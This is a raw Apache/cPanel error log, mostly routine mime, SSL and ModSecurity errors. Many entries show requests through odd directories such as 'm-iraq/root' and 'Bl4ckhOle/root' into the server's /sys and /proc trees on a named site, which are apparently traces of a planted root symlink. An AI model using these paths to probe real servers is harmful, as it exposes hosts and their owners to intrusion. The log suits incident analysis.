[Fri Jul 17 08:16:07.061964 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty21/subsystem/ttyS2/iomem_base
[Fri Jul 17 08:16:07.447942 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:39910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:07.883978 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:08.617335 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:08.625301 2026] [cgi:error] [pid 1993998:tid 1993998] [client 112.86.225.251:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 08:16:08.625370 2026] [cgi:error] [pid 1993998:tid 1993998] [client 112.86.225.251:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 08:16:09.357265 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:09.528204 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:09.710237 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:09.710300 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:09.710333 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:09.710386 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:09.710402 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:09.710446 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:09.849874 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.006029 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.190697 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty1/subsystem/ttyS2/close_delay
[Fri Jul 17 08:16:10.269118 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.679327 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/226:0/subsystem/card0-VGA-1/enabled"] [unique_id "almXclxP5-SsqbGuGB2i1AAAAAA"]
[Fri Jul 17 08:16:10.679378 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/226:0/subsystem/card0-VGA-1/enabled"] [unique_id "almXclxP5-SsqbGuGB2i1AAAAAA"]
[Fri Jul 17 08:16:10.817336 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817420 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817463 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817495 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817528 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817558 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817623 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817640 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817658 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817676 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817779 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817912 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817933 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817953 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817970 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.817986 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.818003 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.818019 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.818242 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.818273 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.818291 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.818318 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.818391 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.818439 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:10.818484 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:12.486469 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:17/eject
[Fri Jul 17 08:16:13.895158 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:13.901692 2026] [ssl:error] [pid 1994956:tid 1994956] (5)Input/output error: [client 66.85.158.91:39172] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:13.935261 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:14.065507 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:14.117090 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:14.298543 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:14.516209 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:14.723066 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:14.938664 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:15.123435 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:15.263981 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:39454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:15.303904 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:15.304081 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:15.486727 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:15.576975 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:15.667977 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:15.947159 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:16.038945 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:16.404627 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:16.501793 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:16.586760 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:16.768130 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:17.026198 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:39512] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:17.141540 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:17.317446 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almXeHf2WrySr2miwA71fwAAABY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1095&page_105=1244
[Fri Jul 17 08:16:17.317482 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almXeHf2WrySr2miwA71fwAAABY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1095&page_105=1244
[Fri Jul 17 08:16:17.617987 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty6/subsystem/ttyS2/close_delay
[Fri Jul 17 08:16:18.444765 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:18.537193 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:18.720612 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:18.844167 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 57.141.18.117:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory53/subsystem/devices/memory132/subsystem/devices/memory54/subsystem/uevent
[Fri Jul 17 08:16:19.550752 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:12/eject
[Fri Jul 17 08:16:19.716308 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 57.141.18.120:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory127/node0/memory126/node0/memory76/node0/memory75/subsystem/uevent
[Fri Jul 17 08:16:19.772731 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:19.826083 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:19.916559 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:20.472077 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:19/eject
[Fri Jul 17 08:16:20.847591 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:18/eject
[Fri Jul 17 08:16:20.990725 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:21.038020 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:21.310414 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:21.589876 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:21.679345 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:21.875247 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:22.937194 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:54072] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:23.491408 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:23.503933 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty13/subsystem/ttyS0/device/driver/unbind
[Fri Jul 17 08:16:23.542245 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:23.611089 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/subsystem/drivers/thermal/unbind
[Fri Jul 17 08:16:23.707221 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty47/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 08:16:23.896277 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:16/eject
[Fri Jul 17 08:16:23.986628 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:10/eject
[Fri Jul 17 08:16:24.080667 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:24.170160 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:24.224705 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:54158] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:24.353544 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:24.535755 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/hdaudio/drivers/snd_hda_codec_generic/unbind
[Fri Jul 17 08:16:24.718388 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:24.816480 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:25.182706 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:22/eject
[Fri Jul 17 08:16:25.277570 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/device:15/eject
[Fri Jul 17 08:16:25.467453 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:25.855524 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:26.227476 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:26.227573 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:26.227610 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:26.227709 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:26.227751 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:26.227832 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:26.362248 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:26.363250 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/ueagle-atm/"] [unique_id "almXgt0t9Kb_MdNxrg68ugAAAAM"]
[Fri Jul 17 08:16:26.363276 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/ueagle-atm/"] [unique_id "almXgt0t9Kb_MdNxrg68ugAAAAM"]
[Fri Jul 17 08:16:26.409135 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:26.982682 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:54268] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:27.245602 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:27.335075 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:27.427426 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:27.639748 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/cagefs-skeleton/lib64/gettext/project-id"] [unique_id "almXgziSeFVxYLkcq6IbkAAAAAc"]
[Fri Jul 17 08:16:27.639795 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/cagefs-skeleton/lib64/gettext/project-id"] [unique_id "almXgziSeFVxYLkcq6IbkAAAAAc"]
[Fri Jul 17 08:16:27.807555 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:27.901388 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty14/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 08:16:28.084164 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:28.331978 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/ttyS1/close_delay
[Fri Jul 17 08:16:28.542591 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty43/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 08:16:28.726981 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty7/subsystem/ttyS3/device/driver/unbind
[Fri Jul 17 08:16:28.871522 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXhBAi3pC6yjXGNq17JAAAAAU"], referer: http://www.anandaobauae.org/?C=N;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:16:28.871577 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXhBAi3pC6yjXGNq17JAAAAAU"], referer: http://www.anandaobauae.org/?C=N;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:16:29.107283 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/block/uevent
[Fri Jul 17 08:16:29.205829 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:29.301446 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:29.394860 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:29.577937 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:29.682439 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:29.758194 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:29.973410 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:30.029891 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:30.499292 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:30.592372 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:54438] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:16:30.726005 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:30.767970 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:30.770467 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty4/subsystem/ttyS3/device/driver/unbind
[Fri Jul 17 08:16:30.886132 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:30.993185 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:31.034054 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:31.044363 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:31.149516 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:31.176005 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:31.212470 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:31.348000 2026] [security2:error] [pid 1999089:tid 1999089] [client 47.82.15.228:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/dev/char/4:66/subsystem/console/power/runtime_status"] [unique_id "almXh0MCK1PbyQ2qe6AAGwAAABQ"]
[Fri Jul 17 08:16:31.348053 2026] [security2:error] [pid 1999089:tid 1999089] [client 47.82.15.228:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/dev/char/4:66/subsystem/console/power/runtime_status"] [unique_id "almXh0MCK1PbyQ2qe6AAGwAAABQ"]
[Fri Jul 17 08:16:31.372693 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:31.407217 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:31.413820 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:31.776847 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:16:31.955113 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty7/subsystem/tty23/uevent"] [unique_id "almXh0MCK1PbyQ2qe6AAHAAAABQ"]
[Fri Jul 17 08:16:31.955180 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty7/subsystem/tty23/uevent"] [unique_id "almXh0MCK1PbyQ2qe6AAHAAAABQ"]
[Fri Jul 17 08:16:32.604272 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
